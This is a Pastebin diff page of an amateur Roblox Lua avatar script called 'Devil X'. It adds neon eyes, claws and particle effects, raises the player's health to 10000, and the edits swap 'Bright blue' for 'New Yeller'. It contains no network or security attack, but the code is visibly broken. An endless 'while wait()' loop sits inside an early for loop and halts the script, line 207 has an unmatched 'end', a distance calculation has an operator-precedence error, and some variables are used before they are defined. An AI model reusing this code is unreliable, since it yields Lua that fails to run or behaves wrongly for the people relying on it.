View difference between Paste ID: wA7Rq7FT and 8s4eHuQ2
SHOW: | | - or go back to the newest paste.
1
paly = game.Players.LocalPlayer
2
Player = game:GetService("Players").LocalPlayer
3
p = game.Players.LocalPlayer
4
char = paly.Character
5
vt = Vector3.new
6
rarm = char["Right Arm"]
7
hed = char.Head
8
larm = char["Left Arm"]
9
rleg = char["Right Leg"]
10
lleg = char["Left Leg"]
11
local maincolor = BrickColor.random()
12
local effolemode = false
13
local wrathmode = false
14
local noobmode = false
15
local randomname = "???"
16
local randomnamefem = "???"
17
local randomchanger = 6
18
if paly.Name == "BINO2002" then
19
randomchanger = 6
20
end
21
if randomchanger == 6 then
22
randomnamefem = "Astrie"
23
effolemode = true
24-
maincolor = BrickColor.new("Bright blue")
24+
maincolor = BrickColor.new("New Yeller")
25
for i, v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
26
 if v:IsA("BasePart") then
27
  while wait() do
28
  v.BrickColor = BrickColor.random()
29
  end
30
 end
31
end
32
33
local torsmesh = Instance.new("CharacterMesh", char)
34
torsmesh.BodyPart = "Torso"
35
torsmesh.MeshId = "48112070"
36
local dec2 = Instance.new("Decal", char)
37
dec2.Face = "Front"
38
dec2.Texture = "rbxassetid://583713423"
39
dec2.Parent = char.Head
40
char.Head.face.Transparency = 1
41
char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
42
43
for i,v in pairs(char:children()) do
44
    if v:IsA("Hat") then
45
        v:Destroy()
46
    end
47
end
48
for i,v in pairs(char:children()) do
49
    if v:IsA("Accessory") then
50
        v:Destroy()
51
    end
52
end
53
for i,v in pairs(char:children()) do
54
    if v:IsA("Hair") then
55
        v:Destroy()
56
    end
57
end
58
for i,v in pairs(char:children()) do
59
    if v:IsA("Shirt") then
60
        v:Destroy()
61
    end
62
end
63
for i,v in pairs(char:children()) do
64
    if v:IsA("Pants") then
65
        v:Destroy()
66
    end
67
end
68
69
local eye12 = Instance.new("Part")
70
eye12.Parent = char
71
eye12.Size = Vector3.new(0.2, 0.2, 0.2)
72
eye12.Archivable = true
73
eye12.Transparency = 0
74
eye12.Shape = "Ball"
75
eye12.BrickColor = maincolor
76
eye12.Material = "Neon"
77
eye12.CanCollide = false
78
local mesh2 = Instance.new("SpecialMesh",eye12)
79
mesh2.MeshType = "Sphere"
80
mesh2.Scale = Vector3.new(0.75, 1, 1)
81
local weld1en2 = Instance.new("Weld")
82
weld1en2.Parent = hed
83
weld1en2.Part0 = hed
84
weld1en2.Part1 = eye12
85
weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
86
local eye1 = Instance.new("Part")
87
eye1.Parent = char
88
eye1.Size = Vector3.new(0.2, 0.2, 0.2)
89
eye1.Archivable = true
90
eye1.Transparency = 0
91
eye1.Shape = "Ball"
92
eye1.BrickColor = maincolor
93
eye1.Material = "Neon"
94
eye1.CanCollide = false
95
local mesh = Instance.new("SpecialMesh",eye1)
96
mesh.MeshType = "Sphere"
97
mesh.Scale = Vector3.new(0.75, 1, 1)
98
local weld1en = Instance.new("Weld")
99
weld1en.Parent = hed
100
weld1en.Part0 = hed
101
weld1en.Part1 = eye1
102
weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
103
104
local BC = char["Body Colors"]
105
BC.HeadColor = BrickColor.new("Red")
106
BC.LeftArmColor = BrickColor.new("Red")
107
BC.LeftLegColor = BrickColor.new("Red")
108
BC.RightArmColor = BrickColor.new("Red")
109
BC.RightLegColor = BrickColor.new("Red")
110
BC.TorsoColor = BrickColor.new("Red")
111
112
ypcall(function()
113
shirt = Instance.new("Shirt", char)
114
shirt.Name = "Shirt"
115
pants = Instance.new("Pants", char)
116
pants.Name = "Pants"
117
char.Shirt.ShirtTemplate = "rbxassetid://211752973"
118
char.Pants.PantsTemplate = "rbxassetid://179059579"
119
end)
120
Reaper2 = Instance.new("Model")
121
Reaper2.Parent = Player.Character
122
Reaper2.Name = "Reaper2"
123
rh2 = Instance.new("Part")
124
rh2.Parent = Reaper2
125
rh2.BrickColor = maincolor
126
rh2.Locked = true
127
rh2.CanCollide = false
128
mesh2 = Instance.new("SpecialMesh")
129
rh2.formFactor =  "Symmetric"
130
mesh2.MeshType = "FileMesh"
131
mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
132
mesh2.Parent = rh2
133
local weld2 = Instance.new("Weld")
134
weld2.Parent = rh2
135
rh2.Transparency = 0
136
weld2.Part0 = rh2
137
weld2.Part1 = Player.Character.Head
138-
rh3.BrickColor = BrickColor.new("Bright blue")
138+
139
140
Reaper3 = Instance.new("Model")
141
Reaper3.Parent = Player.Character
142
Reaper3.Name = "Reaper3"
143
rh3 = Instance.new("Part")
144
rh3.Parent = Reaper3
145
rh3.BrickColor = BrickColor.new("New Yeller")
146
rh3.Locked = true
147
rh3.CanCollide = false
148
mesh3 = Instance.new("SpecialMesh")
149
rh3.formFactor =  "Symmetric"
150
mesh3.MeshType = "FileMesh"
151
mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
152
mesh3.Parent = rh3
153
local weld3 = Instance.new("Weld")
154
weld3.Parent = rh3
155
rh3.Transparency = 0
156
weld3.Part0 = rh3
157
weld3.Part1 = Player.Character.Head
158
weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
159
160
local orbe = Instance.new("Part")
161
orbe.Parent = char
162
orbe.Size = Vector3.new(0.2, 0.2, 0.2)
163
orbe.Archivable = true
164
orbe.Transparency = 1
165
orbe.BrickColor = maincolor
166
orbe.Material = "Neon"
167
orbe.CanCollide = false
168
local weld1e = Instance.new("Weld")
169
weld1e.Parent = rleg
170
weld1e.Part0 = rleg
171
weld1e.Part1 = orbe
172
weld1e.C1 = CFrame.new(0, 1.125, 0)
173
local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
174
local pt2e = NumberSequenceKeypoint.new(1,0,0)
175
local effectoe = Instance.new("ParticleEmitter",orbe)
176
effectoe.LightEmission = 1
177
effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
178
effectoe.Color = ColorSequence.new(maincolor.Color)
179
effectoe.Rate = 10000
180
effectoe.Lifetime = NumberRange.new(1)
181
effectoe.Size = NumberSequence.new({pt1e,pt2e})
182
effectoe.Speed = NumberRange.new(0,0)
183
effectoe.RotSpeed = NumberRange.new(100,100)
184
185
local orbze = Instance.new("Part")
186
orbze.Parent = char
187
orbze.Size = Vector3.new(0.2, 0.2, 0.2)
188
orbze.Archivable = true
189
orbze.Transparency = 1
190
orbze.BrickColor = maincolor
191
orbze.Material = "Neon"
192
orbze.CanCollide = false
193
local weldz1 = Instance.new("Weld")
194
weldz1.Parent = lleg
195
weldz1.Part0 = lleg
196
weldz1.Part1 = orbze
197
weldz1.C1 = CFrame.new(0, 1.125, 0)
198
local effectone = Instance.new("ParticleEmitter",orbze)
199
effectone.LightEmission = 1
200
effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
201
effectone.Color = ColorSequence.new(maincolor.Color)
202
effectone.Rate = 10000
203-
maincolor = BrickColor.new("Bright blue")
203+
204
effectone.Size = NumberSequence.new({pt1e,pt2e})
205
effectone.Speed = NumberRange.new(0,0)
206
effectone.RotSpeed = NumberRange.new(100,100)
207
end
208
209
if effolemode == true then
210
maincolor = BrickColor.new("New Yeller")
211
end
212
213
local orb = Instance.new("Part")
214
orb.Parent = char
215
orb.Size = Vector3.new(1, 1, 1)
216
orb.Archivable = true
217
orb.Transparency = 1
218
orb.BrickColor = BrickColor.new("Bright orange")
219
orb.Material = "Wood"
220
orb.CanCollide = false
221
local weld1 = Instance.new("Weld")
222
weld1.Parent = rarm
223
weld1.Part0 = rarm
224
weld1.Part1 = orb
225
weld1.C1 = CFrame.new(0, 1.125, 0)
226
local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
227
local pt2 = NumberSequenceKeypoint.new(1,0,0)
228
local effecto = Instance.new("ParticleEmitter",orb)
229
effecto.LightEmission = 1
230
effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
231
effecto.Color = ColorSequence.new(maincolor.Color)
232
effecto.Rate = 10000
233
effecto.Lifetime = NumberRange.new(1)
234
effecto.Size = NumberSequence.new({pt1,pt2})
235
effecto.Speed = NumberRange.new(0,0)
236
effecto.RotSpeed = NumberRange.new(100,100)
237
238
local orbz = Instance.new("Part")
239
orbz.Parent = char
240
orbz.Size = Vector3.new(1, 1, 1)
241
orbz.Archivable = true
242
orbz.Transparency = 1
243
orbz.BrickColor = BrickColor.new("Bright orange")
244
orbz.Material = "Wood"
245
orbz.CanCollide = false
246
local weldz1 = Instance.new("Weld")
247
weldz1.Parent = larm
248
weldz1.Part0 = larm
249
weldz1.Part1 = orbz
250
weldz1.C1 = CFrame.new(0, 1.125, 0)
251
local effecton = Instance.new("ParticleEmitter",orbz)
252
effecton.LightEmission = 1
253
effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
254
effecton.Color = ColorSequence.new(maincolor.Color)
255
effecton.Rate = 10000
256
effecton.Lifetime = NumberRange.new(1)
257
effecton.Size = NumberSequence.new({pt1,pt2})
258
effecton.Speed = NumberRange.new(0,0)
259
effecton.RotSpeed = NumberRange.new(100,100)
260
261
262
p = game.Players.LocalPlayer
263
char = p.Character
264
torso = char.Torso
265
neck = char.Torso.Neck
266
hum = char.Humanoid
267
hum.MaxHealth = 10000
268
wait()
269
hum.Health =hum.MaxHealth
270
271
CV="Hot pink"
272
	
273
local txt = Instance.new("BillboardGui", char)
274
txt.Adornee = char .Head
275
txt.Name = "_status"
276
txt.Size = UDim2.new(2, 0, 1.2, 0)
277
txt.StudsOffset = Vector3.new(-9, 8, 0)
278
local text = Instance.new("TextLabel", txt)
279
text.Size = UDim2.new(10, 0, 7, 0)
280
text.FontSize = "Size24"
281
text.TextScaled = true
282
text.TextTransparency = 0
283
text.BackgroundTransparency = 1 
284
text.TextTransparency = 0
285
text.TextStrokeTransparency = 0
286
text.Font = "SciFi"
287
text.TextStrokeColor3 = Color3.new(0,0,0)
288
289
v=Instance.new("Part")
290
v.Name = "ColorBrick"
291
v.Parent=p.Character
292
v.FormFactor="Symmetric"
293
v.Anchored=true
294
v.CanCollide=false
295-
text.TextColor3 = BrickColor.new("Bright blue").Color
295+
296
v.TopSurface="Smooth"
297
v.Size=Vector3.new(10,5,3)
298
v.Transparency=1
299
v.CFrame=char.Torso.CFrame
300
v.BrickColor=BrickColor.new(CV)
301
v.Transparency=1
302
text.TextColor3 = BrickColor.new("New Yeller").Color
303
v.Shape="Block"
304
text.Text = "Devil X"
305
306
307
euler = CFrame.fromEulerAnglesXYZ
308
angles = CFrame.Angles
309
local player = "LocalPlayer"
310
local Character = game.Players[player].Character
311
it = Instance.new
312
vt = Vector3.new
313
bc = BrickColor.new
314
cf = CFrame.new
315
mr = math.rad
316
local Weapon = {}
317
local p = game.Players.LocalPlayer
318
local char = p.Character
319
local mouse = p:GetMouse()
320
local larm = char["Left Arm"]
321
local rarm = char["Right Arm"]
322
local lleg = char["Left Leg"]
323
local rleg = char["Right Leg"]
324
local hed = char.Head
325
local torso = char.Torso
326
local hum = char.Humanoid
327
local cam = game.Workspace.CurrentCamera
328
local root = char.HumanoidRootPart
329
local deb = false
330
local shot = 0
331
332
local debris=game:service"Debris"
333
local l = game:GetService("Lighting")
334
local rs = game:GetService("RunService").RenderStepped
335
ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
336
math.randomseed(os.time())
337
for i,v in pairs (hed:GetChildren()) do
338
        if v:IsA("Sound") then
339
                v:Destroy()
340
        end
341
end
342
---------------------------------------------------- BeastClaw
343
NoOutline = function(Part)
344
  Part.TopSurface = 10
345
end
346
part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
347
  local fp = it("Part")
348
  fp.formFactor = formfactor
349
  fp.Parent = parent
350
  fp.Reflectance = reflectance
351
  fp.Transparency = transparency
352
  fp.CanCollide = false
353
  fp.Locked = true
354
  fp.BrickColor = brickcolor
355
  fp.Name = name
356
  fp.Size = size
357
  NoOutline(fp)
358
  fp.Material = "Neon"
359
  fp:BreakJoints()
360
  return fp
361
end
362
mesh = function(Mesh, part, meshtype, meshid, offset, scale)
363
  local mesh = it(Mesh)
364
  mesh.Parent = part
365
  if Mesh == "SpecialMesh" then
366
    mesh.MeshType = meshtype
367
    if meshid ~= "nil" then
368
      mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
369
    end
370
  end
371
  mesh.Offset = offset
372
  mesh.Scale = scale
373
  return mesh
374
end
375
weld = function(parent, part0, part1, c0)
376
  local weld = it("Motor6D")
377
  weld.Parent = parent
378
  weld.Part0 = part0
379
  weld.Part1 = part1
380
  weld.C0 = c0
381
  return weld
382
end
383
gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
384
  local gui = it(GuiType)
385
  gui.Parent = parent
386
  gui.BackgroundTransparency = backtrans
387
  gui.BackgroundColor3 = backcol
388
  gui.SizeConstraint = "RelativeXY"
389
  gui.Position = pos
390
  gui.Size = size
391
  if GuiType == "TextLabel" then
392
    gui.Text = text
393
    gui.TextXAlignment = "Center"
394
    gui.TextYAlignment = "Center"
395
    gui.Font = "SourceSans"
396
    gui.FontSize = "Size14"
397
    gui.TextWrapped = false
398
    gui.TextStrokeTransparency = 0
399
    gui.TextColor = TorsoColor
400
  else
401
    if GuiType == "ImageLabel" then
402
      gui.Image = "rbxassetid://" .. image
403
      gui.ImageColor3 = backcol
404
    end
405
  end
406
  return gui
407
end
408
local handle = nil
409
AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
410
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
411
  prt.Material = neon
412
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
413
  wld = weld(handle, prt, wldpar, ceef)
414
  v = it("NumberValue", prt)
415
  v.Value = trans
416
  v.Name = "MainTransparency"
417
  return prt, msh, wld
418
end
419
AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
420
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
421
  prt.Material = neon
422
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
423
  wld = weld(wldpare, prt, wldpar, ceef)
424
  v = it("NumberValue", prt)
425
  v.Value = trans
426
  v.Name = "MainTransparency"
427
  return prt, msh, wld
428
end
429
local modelzorzez = Instance.new("Model")
430
modelzorzez.Parent = workspace.CurrentCamera
431
modelzorzez.Name = "none"
432-
handle = part(3, modelzorzez, 0, 1, BrickColor.new("Bright blue"), "Handle", vt())
432+
433
local LeftArm = Character["Left Arm"]
434
local RightArm = Character["Right Arm"]
435
local LeftLeg = Character["Left Leg"]
436
local RightLeg = Character["Right Leg"]
437
local Head = Character.Head
438
local RootPart = Character.HumanoidRootPart
439
handle = part(3, modelzorzez, 0, 1, BrickColor.new("New Yeller"), "Handle", vt())
440
local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
441
442
-- SAHHHH DUUDEEE
443
444
445
446
447
-- params : ...
448
449
wait(0.016666666666667)
450
script.Archivable = false
451
Effects = {}
452
local Player = game.Players.localPlayer
453
local Character = Player.Character
454
local Humanoid = Character.Humanoid
455
local mouse = Player:GetMouse()
456
local m = Instance.new("Model", Character)
457
m.Name = "WeaponModel"
458
local effect = Instance.new("Model", Character)
459
effect.Name = "effecsfsafzx"
460
local demon = Instance.new("Model", Character)
461
demon.Name = "demdemd"
462-
TorsoColor = BrickColor.new("Bright blue")
462+
463
local RightArm = Character["Right Arm"]
464
local LeftLeg = Character["Left Leg"]
465
local RightLeg = Character["Right Leg"]
466
local do2target = nil
467
local Head = Character.Head
468
local Torso = Character.Torso
469
TorsoColor = BrickColor.new("New Yeller")
470
z = Instance.new("Sound", Torso)
471
z.SoundId = "rbxassetid://0" -- Put Music ID Here.
472
z.Looped = true
473
z.Pitch = 0
474
z.Volume = 0
475
wait(.1)
476
z:Play()
477
local cam = game.Workspace.CurrentCamera
478
local RootPart = Character.HumanoidRootPart
479
local RootJoint = RootPart.RootJoint
480
local equipped = false
481
local attack = false
482
local Anim = "Idle"
483
local idle = 0
484
local attacktype = 1
485
local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
486
local velocity = RootPart.Velocity.y
487
local sine = 0
488
local change = 1
489
local mana = 0
490
local it = Instance.new
491
vt = Vector3.new
492
local grabbed = false
493
local cf = CFrame.new
494
local mr = math.rad
495
local angles = CFrame.Angles
496
local ud = UDim2.new
497
local c3 = Color3.new
498
clerp = function(a, b, t)
499
  
500
  return a:lerp(b, t)
501
end
502
503
local RbxUtility = LoadLibrary("RbxUtility")
504
local Create = RbxUtility.Create
505
RemoveOutlines = function(part)
506
  
507
  part.TopSurface = 10
508
end
509
510
CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
511
  
512
  local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
513
  RemoveOutlines(Part)
514
  return Part
515
end
516
517
CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
518
  
519
  local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
520
  if Mesh == "SpecialMesh" then
521
    Msh.MeshType = MeshType
522
    Msh.MeshId = MeshId
523
  end
524
  return Msh
525
end
526
527
local co1 = 3
528
local co2 = 10
529
local co3 = 15
530
local co4 = 30
531
local cooldown1 = 0
532
local cooldown2 = 0
533
local cooldown3 = 0
534
local cooldown4 = 0
535
local maxEnergy = 100
536
local Energy = 0
537
local skill1stam = 1000
538
local skill2stam = 1000
539
local skill3stam = 1000
540
local skill4stam = 1000
541
local recovermana = 5
542
local skillcolorscheme = BrickColor.new("Red").Color
543
local scrn = Instance.new("ScreenGui", Player.PlayerGui)
544
makeframe = function(par, trans, pos, size, color)
545
  
546
  local frame = Instance.new("Frame", par)
547
  frame.BackgroundTransparency = trans
548
  frame.BorderSizePixel = 0
549
  frame.Position = pos
550
  frame.Size = size
551
  frame.BackgroundColor3 = color
552
  return frame
553
end
554
555
makelabel = function(par, text)
556
  
557
  local label = Instance.new("TextLabel", par)
558
  label.BackgroundTransparency = 1
559
  label.Size = UDim2.new(1, 0, 1, 0)
560
  label.Position = UDim2.new(0, 0, 0, 0)
561
  label.TextColor3 = Color3.new(255, 255, 255)
562
  label.TextStrokeTransparency = 0
563
  label.FontSize = Enum.FontSize.Size32
564
  label.Font = Enum.Font.SourceSansLight
565
  label.BorderSizePixel = 0
566
  label.TextScaled = true
567
  label.Text = text
568
end
569
570
ArtificialHB = Instance.new("BindableEvent", script)
571
ArtificialHB.Name = "Heartbeat"
572
script:WaitForChild("Heartbeat")
573
frame = 0.033333333333333
574
tf = 0
575
allowframeloss = false
576
tossremainder = false
577
lastframe = tick()
578
script.Heartbeat:Fire()
579
game:GetService("RunService").Heartbeat:connect(function(s, p)
580
  
581
  tf = tf + s
582
  if frame <= tf then
583
    if allowframeloss then
584
      script.Heartbeat:Fire()
585
      lastframe = tick()
586
    else
587
      for i = 1, math.floor(tf / frame) do
588
        script.Heartbeat:Fire()
589
      end
590
      lastframe = tick()
591
    end
592
    if tossremainder then
593
      tf = 0
594
    else
595
      tf = tf - frame * math.floor(tf / frame)
596
    end
597
  end
598
end
599
)
600
swait = function(num)
601
  
602
  if num == 0 or num == nil then
603
    ArtificialHB.Event:wait()
604
  else
605
    for i = 0, num do
606
      ArtificialHB.Event:wait()
607
    end
608
  end
609
end
610
611
CreateWeld = function(Parent, Part0, Part1, C0, C1)
612
  
613
  local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
614
  return Weld
615
end
616
617
rayCast = function(Position, Direction, Range, Ignore)
618
  
619
  return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
620
end
621
622
CreateSound = function(id, par, vol, pit)
623
  
624
  coroutine.resume(coroutine.create(function()
625
    
626
    local sou = Instance.new("Sound", par or workspace)
627
    sou.Volume = vol
628
    sou.Pitch = pit or 1
629
    sou.SoundId = id
630
    swait()
631
    sou:play()
632
    game:GetService("Debris"):AddItem(sou, 6)
633
  end
634
))
635
end
636
637
local getclosest = function(obj, distance)
638
  
639
  local last, lastx = distance + 1, nil
640
  for i,v in pairs(workspace:GetChildren()) do
641
    if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
642
      local t = v.Torso
643
      local dist = t.Position - obj.Position.magnitude
644
      if dist <= distance and dist < last then
645
        last = dist
646
        lastx = v
647
      end
648
    end
649
  end
650
  return lastx
651
end
652
653
CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
654
  
655
  if PartType == "Part" then
656
    local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
657
    RemoveOutlines(Part)
658
    return Part
659
  else
660
    do
661
      if PartType == "WedgePart" then
662
        local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
663
        RemoveOutlines(Part)
664
        return Part
665
      end
666
    end
667
  end
668
end
669
670
Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
671
HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
672
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
673
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
674
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
675
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
676
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
677
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
678
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
679
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
680
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
681
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
682
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
683
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
684
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
685
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
686
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
687
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
688
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
689
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
690
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
691
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
692
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
693
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
694
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
695
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
696
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
697
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
698
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
699
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
700
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
701
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
702
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
703
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
704
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
705
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
706
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
707
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
708
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
709
